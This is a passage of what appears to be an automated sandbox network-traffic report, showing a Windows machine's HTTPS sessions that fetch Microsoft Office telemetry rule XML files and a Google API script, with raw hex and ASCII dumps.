affjKh5lDB\}=0>X
2024-11-17 21:20:31 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.7	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-16547b76f7fm8pcwhC1DFWaxcc00000002v000000000pxua x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.7	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 96c88eee-b01e-005c-317c-364c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-164f84587bfdt5l2hC1DFW88gs0000000390000000000zey x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.7	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-16547b76f7fzwxm2hC1DFWt5hw00000002ag00000000qwrp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:31 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.7	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: b301b02c-001e-0014-179f-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-16547b76f7fkf5v9hC1DFW2y5s00000004p000000000nbhm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:32 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:31 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212031Z-1866b5c5fbbx98hfhC1DFWuqmg00000003gg00000000mdu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:32 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 93022022-f01e-00aa-73a0-368521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212032Z-164f84587bftbpb6hC1DFWm4kg00000003gg00000000qruu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:32 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a5808a03-d01e-002b-349b-3825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212032Z-16547b76f7fwcwmrhC1DFWtp0400000000q000000000g3mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:32 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:32 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 0269dba3-501e-0035-248e-37c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212032Z-16547b76f7fhvzzthC1DFW557000000004zg000000006ng2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:32 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:32 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 806b7f82-201e-0003-669a-36f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212032Z-16547b76f7fd4rc5hC1DFWkzhw000000056g000000005ahu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:32 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:33 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212032Z-16547b76f7fxqj4khC1DFWpypw000000027000000000ae18 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49790	216.58.206.78	443	1748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:33 UTC	729	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIk6HLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 21:20:33 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Nov 2024 00:30:46 GMT Expires: Sat, 15 Nov 2025 00:30:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 247787 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-17 21:20:33 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 